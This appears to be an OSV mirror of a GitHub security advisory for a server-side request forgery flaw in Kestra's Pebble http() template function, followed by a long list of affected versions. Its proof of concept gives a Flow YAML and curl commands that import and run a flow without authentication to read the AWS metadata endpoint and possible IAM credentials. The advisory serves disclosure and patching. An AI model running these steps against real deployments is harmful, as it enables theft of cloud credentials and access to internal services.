GHSA-r56g-q4p6-m3p6
Suggest an improvement- Source
- https://github.com/advisories/GHSA-r56g-q4p6-m3p6
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-r56g-q4p6-m3p6/GHSA-r56g-q4p6-m3p6.json
- JSON Data
- https://api.test.osv.dev/v1/vulns/GHSA-r56g-q4p6-m3p6
- Aliases
- Published
- 2026-09-17T17:15:50Z
- Modified
- 2026-09-17T17:30:05Z
- Severity
-
- 8.6 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N CVSS Calculator
- Summary
- Kestra: SSRF via Pebble http() function allows unauthenticated access to internal services & cloud metadata
- Details
-
Summary
The Pebble template engine's
http()function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.Details
The root cause is in
core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java(lines 77-106):- No URL validation: User input is passed directly to
URI.create()with no checks for private IPs, internal hosts, or restricted schemes - No IP filtering: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1
- No scheme restriction:
file://,gopher://schemes are not blocked - No authentication required:
TenantValidationFilter.javaonly checks tenant == "main" — no authentication - Unconditional registration:
HttpFunctionis registered without any feature flags inExtension.java:180
PoC
Prerequisites:
docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local sleep 30Step 1: Create malicious Flow YAML
cat > /tmp/ssrf_poc.yaml << 'YAML' id: ssrf_metadata namespace: company.team tasks: - id: exfiltrate type: io.kestra.plugin.core.log.Log message: | {{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }} YAMLStep 2: Import without authentication
curl -X POST http://localhost:8080/api/v1/main/flows/import \ -F "fileUpload=@/tmp/ssrf_poc.yaml"Step 3: Execute the flow
curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadataStep 4: Verify — the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)
Impact
- CVSS 3.1: 8.6 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- CWE: CWE-918 (Server-Side Request Forgery)
- Affected: All Kestra OSS versions (default deployment)
- Impact: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft
- No URL validation: User input is passed directly to
- Database specific
{ "cwe_ids": [ "CWE-918" ], "github_reviewed": true, "github_reviewed_at": "2026-09-17T17:15:50Z", "nvd_published_at": "2026-08-11T22:19:05Z", "severity": "HIGH" }- References
Affected packages
Maven / io.kestra:core
Package
- Name
- io.kestra:core
- View open source insights on deps.dev
- Purl
- pkg:maven/io.kestra/core
Affected ranges
- Type
- ECOSYSTEM
- Events
-
Introduced0 Unknown introduced version / All previous versions are affectedLast Affected1.3.31
Affected versions
0.*
0.2.0
0.2.1
0.2.2
0.2.3
0.2.4
0.2.5
0.2.6
0.2.7
0.2.8
0.2.9
0.2.10
0.2.11
0.2.12
0.2.13
0.2.14
0.2.15
0.2.16
0.3.0
0.3.1
0.3.2
0.4.0
0.4.1
0.4.2
0.4.3
0.4.4
0.4.5
0.4.6
0.4.7
0.5.0-BETA
0.5.0
0.5.1
0.5.2
0.5.3
0.6.0
0.7.0
0.7.1
0.8.0
0.8.1
0.9.0
0.9.1
0.9.2
0.9.4
0.9.5
0.9.6
0.9.7
0.9.8
0.9.9
0.10.0
0.10.1
0.11.0
0.11.1
0.11.2
0.12.0
0.12.1
0.12.2
0.12.3
0.12.4
0.12.5
0.12.6
0.12.7
0.13.0
0.13.1
0.13.2
0.13.3
0.13.4
0.13.5
0.13.6
0.13.7
0.13.8
0.13.9
0.13.10
0.14.0
0.14.1
0.14.2
0.14.3
0.14.4
0.15.0
0.15.1
0.15.2
0.15.3
0.15.4
0.15.5
0.15.6
0.15.7
0.15.8
0.15.9
0.15.10
0.15.11
0.15.12
0.15.13
0.15.14
0.15.15
0.15.16
0.15.17
0.15.18
0.15.19
0.15.20
0.15.21
0.15.22
0.15.23
0.15.24
0.15.25
0.15.26
0.15.27
0.15.28
0.15.29
0.15.30
0.15.32
0.15.33
0.15.34
0.15.35
0.15.36
0.15.37
0.15.38
0.15.39
0.15.40
0.16.0
0.16.1
0.16.2
0.16.3
0.16.4
0.16.5
0.16.6
0.16.7
0.16.8
0.16.9
0.16.10
0.16.11
0.16.12
0.16.13
0.16.14
0.16.15
0.16.16
0.16.17
0.16.18
0.16.19
0.16.21
0.17.0
0.17.1
0.17.2
0.17.3
0.17.4
0.17.5
0.17.6
0.17.7
0.17.8
0.17.9
0.17.10
0.17.11
0.17.12
0.17.13
0.17.14
0.17.15
0.17.16
0.17.17
0.17.18
0.17.19
0.17.20
0.17.21
0.17.22
0.17.23
0.17.24
0.17.25
0.17.26
0.17.27
0.17.28
0.18.0
0.18.1
0.18.2
0.18.3
0.18.4
0.18.5
0.18.6
0.18.7
0.18.8
0.18.9
0.18.10
0.18.11
0.18.12
0.18.13
0.18.14
0.18.15
0.18.16
0.18.17
0.18.18
0.18.20
0.18.22
0.19.0
0.19.1
0.19.2
0.19.3
0.19.4
0.19.5
0.19.6
0.19.7
0.19.8
0.19.9
0.19.10
0.19.11
0.19.12
0.19.13
0.19.14
0.19.15
0.19.16
0.19.17
0.19.18
0.19.19
0.19.20
0.19.21
0.19.22
0.19.23
0.19.24
0.19.25
0.19.26
0.20.0
0.20.1
0.20.2
0.20.3
0.20.4
0.20.5
0.20.6
0.20.7
0.20.8
0.20.9
0.20.10
0.20.11
0.20.12
0.20.13
0.20.14
0.20.15
0.20.16
0.20.17
0.20.18
0.20.19
0.20.20
0.20.21
0.20.22
0.20.23
0.20.24
0.20.25
0.20.26
0.20.27
0.21.0
0.21.1
0.21.2
0.21.3
0.21.4
0.21.5
0.21.6
0.21.7
0.21.8
0.21.9
0.21.10
0.21.11
0.21.12
0.21.13
0.21.14
0.21.15
0.21.16
0.21.17
0.21.18
0.21.19
0.21.20
0.22.0
0.22.1
0.22.2
0.22.3
0.22.4
0.22.5
0.22.6
0.22.7
0.22.8
0.22.9
0.22.10
0.22.11
0.22.12
0.22.13
0.22.14
0.22.15
0.22.16
0.22.17
0.22.18
0.22.19
0.22.20
0.22.21
0.22.22
0.22.23
0.22.24
0.22.25
0.22.26
0.22.27
0.22.28
0.22.29
0.22.30
0.22.31
0.22.32
0.22.33
0.22.34
0.22.35
0.22.36
0.22.37
0.22.38
0.22.39
0.22.40
0.22.41
0.22.42
0.22.44
0.22.45
0.22.46
0.23.0
0.23.1
0.23.2
0.23.3
0.23.5
0.23.6
0.23.7
0.23.8
0.23.9
0.23.10
0.23.11
0.23.12
0.23.13
0.23.14
0.23.15
0.23.16
0.23.17
0.23.18
0.23.19
0.23.20
0.23.21
0.23.22
0.23.23
0.23.24
0.23.25
0.23.26
0.23.27
0.23.28
0.23.29
0.23.30
0.23.31
0.23.32
0.23.33
0.24.0
0.24.1
0.24.2
0.24.3
0.24.4
0.24.5
0.24.6
0.24.7
0.24.8
0.24.9
0.24.10
0.24.11
0.24.12
0.24.13
0.24.14
0.24.15
0.24.16
0.24.17
0.24.18
0.24.19
0.24.20
1.*
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.0.6
1.0.7
1.0.8
1.0.9
1.0.10
1.0.11
1.0.12
1.0.13
1.0.14
1.0.15
1.0.16
1.0.17
1.0.18
1.0.19
1.0.20
1.0.21
1.0.22
1.0.23
1.0.24
1.0.25
1.0.26
1.0.27
1.0.28
1.0.29
1.0.30
1.0.32
1.0.34
1.0.35
1.0.36
1.0.37
1.0.38
1.0.39
1.0.40
1.0.42
1.0.43
1.0.44
1.0.46
1.0.47
1.0.48
1.0.49
1.0.50
1.0.51
1.0.52
1.0.53
1.0.54
1.0.55
1.0.56
1.0.57
1.0.58
1.0.59
1.0.60
1.1.0
1.1.1
1.1.2
1.1.3
1.1.4
1.1.5
1.1.6
1.1.7
1.1.8
1.1.9
1.1.10
1.1.11
1.1.12
1.1.13
1.1.14
1.1.15
1.1.18
1.1.20
1.2.0
1.2.1
1.2.2
1.2.3
1.2.4
1.2.5
1.2.6
1.2.7
1.2.8
1.2.9
1.2.10
1.2.11
1.2.12
1.2.13
1.2.14
1.2.15
1.2.16
1.2.17
1.2.18
1.2.19
1.2.21
1.2.22
1.2.23
1.2.24
1.3.0
1.3.1
1.3.2
1.3.3
1.3.4
1.3.5
1.3.6
1.3.7
1.3.8
1.3.9
1.3.10
1.3.11
1.3.12
1.3.13
1.3.14
1.3.15
1.3.16
1.3.17
1.3.18
1.3.19
1.3.20
1.3.21
1.3.22
1.3.23
1.3.24
1.3.25
1.3.26
1.3.27
1.3.28
1.3.29
1.3.30
1.3.31
Maven / io.kestra:kestra-core
Package
- Name
- io.kestra:kestra-core
- View open source insights on deps.dev
- Purl
- pkg:maven/io.kestra/kestra-core